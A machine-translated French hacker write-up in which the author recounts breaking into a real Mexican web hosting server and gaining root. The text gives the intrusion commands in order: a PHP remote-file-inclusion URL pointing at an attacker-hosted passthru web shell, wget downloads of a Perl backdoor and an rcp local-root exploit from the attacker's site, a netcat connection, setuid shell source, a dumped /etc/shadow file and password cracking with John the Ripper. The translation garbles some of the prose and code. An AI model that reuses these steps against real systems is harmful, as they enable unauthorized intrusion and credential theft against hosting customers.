This page has been robot translated, sorry for typos if any. Original content here.

Racine sur un hébergeur


Intro.
J'ai décidé de décrire ce hack, parce que c'est arrivé il y a longtemps (et qu'à ce moment, le 23 janvier 2003, le serveur est toujours entre les mains de DHG, pour ainsi dire), on m'a également demandé de décrire un hack intéressant.
Je ne veux pas que cette histoire serve de guide aux atrocités d’autres personnes, nous faisons donc volontairement des erreurs / inexactitudes (que tout utilisateur avancé remarquera, cependant). Eh bien, nous allons également nous attarder à des choses élémentaires, telles que «Les équipes Linux aussi, où chercher comment compiler des divisions», nous ne le ferons pas. Alors allons-y.

Round # 1: à distance.
En général, la cible initiale était le portail Linux mexicain www. ***. Com, qui était autrefois hébergé par ce fournisseur.
Tout d'abord, il était nécessaire de connaître l'axe sur lequel ce portail se situe. Bien que, la souche est clair que le site sur Linux'e ne peut pas se bloquer sur Windows. Sur http: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", la bannière ftp indiquait:
serveur FTP géré (version 6.5 / OpenBSD, port linux 0.3.2) prêt.
Nous n’avons pas commencé à scanner les ports, cgi-bugs et autres bêtises - plus précisément, j’ai décidé de le reporter à plus tard. Eh bien, je ne voulais pas non plus couvrir essno. Donc, la phrase "hébergement" a clignoté dans la bannière FTP! Après avoir marqué sur ripnet, nous avons décidé de nous tourner directement vers ip, qui était www. ***. Com. Il m'a amené sur le site "managedhosting.dialtoneinternet.com.mx", qui, évidemment, était son hébergeur. Plus tard, une bruteforce manuelle courte a été calculée sur un site d'hébergement réel: dialtoneinternet.com.mx (www.dialtone.com).
Sur ce, nous avons décidé de nous arrêter pour le moment et aussi de retourner sur le site en panne. Il était sur le moteur PHP phpWebSite d'une version inconnue. Ce clone suivant de php-nuke'a ne diffère pas par un accent particulier mis sur la sécurité. Toutes les versions de PWS jusqu'à 0.8.2 (même marquées comme étant stables) présentaient une vulnérabilité de la classe «Injection de source Php». Pour ceux qui ne disent rien, consultez l'article de r4ShRaY sur cette vulnérabilité. Le reste, lisez la suite. Donc, voici une tranche du fichier sors modsecurity.php:

<? php
global $ inc_prefix;
si (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO, tout devrait être clair pour tout le monde ici. En exécutant ce script de la même manière:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Le fichier htmlheader.php situé sur notre site s’exécutera avec des droits indéfinis. La seule chose qui me dérangeait était que le site attaqué avait une version corrigée ou une version plus récente (après tout, ce n'était pas une sorte de "page d'accueil de Vasya", mais un portail pour kewl-Linux-userz).
En général, nous avons créé le fichier htmlheader.php sur notre site avec ce contenu:

<? passthru ("$ cmd")?>

Puis je suis allé à l'adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Pour lequel nous avons eu une liste du répertoire www. # Note De plus, je griffonnerai toutes les commandes sans "...? inc_prefix = http: // ..."!

Tour n ° 2: local.
> echo hi> kewl.txt; chat kewl.txt
Le navigateur a répondu à ces deux commandes avec un écran blanc comme neige vide. Cela indiquait que je n'avais pas les droits d'écriture sur le répertoire www. C’est-à-dire exprimer à propos de la déformation jusqu’à présent si tôt. Eh bien, avant de prendre d'autres mesures, il était nécessaire de collecter plus d'informations sur le système. L'occupation principale que nous avons franchie via le fichier httpd.conf:
> cat /etc/httpd/conf/httpd.conf
À partir de là, nous avons déchiré la version front-end (l’entête http "Server" ne disait pas que FrontPage était disponible), ainsi que la route vers les annuaires www du site: dialtoneinternet.com.mx (un fournisseur d’hébergement cassé), stormarketing.com, altavistablinds.com, parigitown.com, ainsi que quelques ressources importantes:
# -FrontPage- version = 4.0
##
## httpd.conf - Fichier de configuration du serveur HTTP Apache
##
...
<VirtualHost 66.33.62.88>
<Répertoire / home / admin / www / serversecure>
Toutes les options
AllowOverride All
</ Répertoire>
Nom du serveur dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog logs / error_log
Journaux TransferLog / transfer_log
Groupe personne
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ VirtualHost>
...
Bien sûr, il n’ya pas assez de droits pour les désamorcer, MAIS ils sont assez pour voir le service frontal. Le cas échéant, tous les sites suivants, avec toutes les conséquences qui en découlent;) Nous avons laissé cette opportunité pour cette aventure, si il ne sera en aucun cas possible d'élever leurs privilèges.
De plus, pour votre intérêt, nous avons présenté:
> netstat -a
Ce que j'ai reçu (# - mes tags):
  Connexions Internet actives (serveurs et établis)
 Etat d'adresse étrangère pour l'adresse locale Proto Recv-Q Send-Q 
 tcp 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226 {116 ÉTABLI 
 tcp 0 0 *: www *: * ECOUTER 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * ECOUTER 
 tcp 0 0 *: ftp *: * ECOUTER 
 tcp 0 0 *: 81 *: * ECOUTER 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domaine *: * ÉCOUTER 
 tcp 0 0 managedhosting2.:domaine *: * ÉCOUTER 
 tcp 0 0 spacebattles.net:domaine *: * ÉCOUTER 
 tcp 0 0 66.33.62. *: domaine *: * ÉCOUTER 
 tcp 0 0 localhost.locald: domaine *: * ÉCOUTER 
 tcp 0 0 *: smtp *: * ECOUTER 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * ECOUTER 
 tcp 0 0 *: casp3000 *: * ECOUTER 
 tcp 0 0 *: casp5105 *: * ECOUTER 
 tcp 0 0 *: casp5103 *: * ECOUTER 
 tcp 0 0 *: casp5104 *: * ECOUTER 
 tcp 0 0 *: 1581 *: * ECOUTER 
 tcp 0 0 *: 1024 *: * ECOUTER 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 UDP 0 0 managedhosting.d: domaine *: * 
 udp 0 0 managedhosting2.:domaine *: * 
 udp 0 0 spacebattles.net:domaine *: * 
 udp 0 0 66.33.62. *: domaine *: * 
 udp 0 0 localhost.locald: domaine *: * 
 raw 0 0 *: udp *: * 7 
 raw 0 0 *: tcp *: * 7 
 raw 0 0 *: icmp *: * 7 
 raw 0 0 *: tcp *: * 7 
 Sockets de domaine UNIX actifs (serveurs et établis)
 Drapeaux Proto RefCnt Type Etat Chemin I-Node
 unix 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
 unix 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock
 unix 4 [] DGRAM 290 / dev / log
 unix 0 [ACC] STREAM LISTENING 549144 / var / run / ndc
 unix 0 [] STREAM 565939 
 unix 0 [] DGRAM 555692 
 unix 0 [] DGRAM 549142 
 unix 0 [] DGRAM 3193 
 unix 0 [] DGRAM 303 
(1) - c'est nous =)
(2) - la présence de ssl traduit généralement l'échange d'informations privées avec le serveur (cc, par exemple). Bien que, pour l'accueillir est dans la routine des choses.
(3) - le voici! Il sera utile plus tard.
Ici aussi, les ports n'ont pas besoin d'être scannés :)
Ensuite, il était nécessaire de commencer des actions spécifiques, ou plutôt, de découvrir au moins presque la version du cap plus, sur la base de laquelle on a déjà dansé. Donc, pour ceux qui ne le savent pas, certaines distributions (sinon toutes) Linux laissent le fichier "* -release" (où * est le nom de la distribution: mandrake-release, cobalt-release ...) dans le répertoire / etc / Les administrateurs n'ont aucun moyen de l'éliminer.
> cat / etc / redhat-release:
La version 6.1 de Red Hat Linux (Cartman)
Obaaaaaa, je dois dire que nous ne nous attendions pas à cela :) Tout le reste bla bla était une question de technologie. Pour atteindre la racine tant attendue, nous avons décidé d’utiliser la vulnérabilité RedHat dans rcp.

Red Hat 6.2: rcp possible trou de racine
En fait, la vulnérabilité a été trouvée dans cap 6.2. À propos de 6.1, un article d’Andrew Griffiths et Tlabs n’a pas dit un mot. En espérant avoir de la chance, nous avons présenté:
> ls -alF `quel rcp`
-rwsr-xr-x 1 racine racine 14868 30 juil 1999 / usr / bin / rcp *
Oups! Bien sûr, RCP possède une chambre à être! C'est déjà bien :) Je me suis versé "rcpsploit.pl" de tlabs plus, après avoir étudié la source, je me suis arrêté. Je vais peut-être expliquer le fonctionnement de ce sploit. Cela vous aidera peut-être à comprendre l’essence même de la vulnérabilité du problème.
Donc, il crée 2 fichiers:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
retourne 0;
}


hé ------------------------------
Sploit écrit par tlabs, merci à Andrew Griffiths pour le rapport de bug

Ensuite, à travers le succès de rcp, la compilation sploit shell.c joue également le rôle de chmod comme cela avec chmod. C'est ça! Nous commençons le shell compilé et nous obtenons un shell avec uid = 0, gid = 0. Mais à quoi sert ce shell si nous exécutons des commandes via un serveur Web? : - /
Il était seulement autorisé à forcer ce sploit à travailler sur un shell "normal".
Avez-vous besoin d'un coquillage? Il sera! Il y a longtemps, dans mes archives warez, un petit cheval de Troie d'orge perlant s'accumulait de la poussière, que nous avons également décidé d'utiliser:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Suivant sur votre ordinateur:
> nc ***. com 51015
Touchant:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, trop facile, nous allons juste lancer un shell, espérons que la merde se soit bien passée :)
> id
uid = 0 (racine) gid = 0 (racine) groupes = 0 (racine), 1 (bin), 2 (démon), 3 (sys), 4 (adm), 4 (adm), 6 (disque), 10 (roue)
C'est tout :) Eh bien, aussi le dernier:
> chat / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
démon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR a compté 977 mots de passe%) Pour accélérer la recherche, nous avons introduit:
john -i: all -u: ombre racine
Environ 8 heures et ... le moment tant attendu:




Ensuite, j'ai téléchargé lrk ici, plusieurs datapipes et bnc aussi ... bien que ce soit une histoire complètement différente ....

Ce qui a été utilisé pendant le piratage:
Netscape v.xz
secureCRT 3.1
Netcat
John l'éventreur
backhole.pl
rcpsploit.pl
Cerveaux
PacketStormSecurity

Conclusions \ remarques \ commentaires:
1. Si tel ou tel serveur s'appelle de manière importante le fournisseur d'hébergement ou le portail Linux, cela ne signifie pas pour autant qu'il est correctement protégé.
2. Dans le processus de piratage, vous ne devriez pas particulièrement déclarer votre adresse IP (ce sera un article dans le futur).
3. Lors de piratage informatique, le logiciel dit "pirate informatique" n’était presque jamais utilisé.
4. RH6. * - ne pas manger bourdonnant :)

PS IMHO, le lecteur peut avoir l’impression que j’ai eu de la chance et le piratage général a pris quelques minutes. Ce n’est pas le cas. Il y avait des moments où les mains tombaient, à quelle heure je voulais me battre la tête contre le mur.

Publié par: D4rkGr3y


Matériel publié avec l'autorisation de DHGROUP (http://www.dhgroup.org)